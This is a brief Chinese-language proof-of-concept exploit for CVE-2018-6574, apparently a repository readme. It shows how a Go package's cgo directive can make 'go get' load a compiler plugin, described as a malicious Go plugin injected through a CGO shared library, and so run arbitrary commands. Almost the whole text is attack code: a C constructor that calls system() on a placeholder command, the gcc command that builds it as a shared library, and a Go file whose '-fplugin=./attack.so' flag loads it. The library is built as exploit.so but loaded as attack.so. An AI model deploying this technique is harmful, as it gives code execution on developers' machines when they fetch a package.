
针对CVE-2018-6574的概念验证漏洞利用,通过CGO共享库注入恶意Go插件,演示任意命令执行。
CVE-2018-6574 的漏洞利用 POC
#include<stdio.h>
#include<stdlib.h>
static void malicious() __attribute__((constructor));
void malicious() {
system("COMMAND");
}
gcc -shared -o exploit.so -fPIC exploit.c
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
// return f();
// }
//
// int fortytwo()
// {
// return 42;
// }
import "C"
import "fmt"
func main() {
f := C.intFunc(C.fortytwo)
fmt.Println(int(C.bridge_int_func(f)))
// Output: 42
}
go get github.com/your-repo/CVE-2018-6574-POC